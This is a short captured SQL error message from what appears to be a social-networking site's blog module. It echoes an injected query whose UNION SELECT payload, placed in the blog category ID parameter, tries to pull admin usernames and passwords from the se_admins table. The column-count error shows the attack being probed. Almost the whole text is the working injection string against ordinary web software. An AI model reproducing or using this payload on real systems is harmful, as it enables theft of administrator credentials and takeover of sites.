The used SELECT statements have a different number of columns SQL was: SELECT NULL FROM se_blogentries WHERE blogentry_user_id='965' AND (blogentry_privacy & '8') && blogentry_blogentrycat_id=-21 UNION SELECT 1,2,3,4,5,concat(admin_username,0x3a,admin_password),7,8,9,10,11,12,13,14,15,16,17,18 from se_admins/*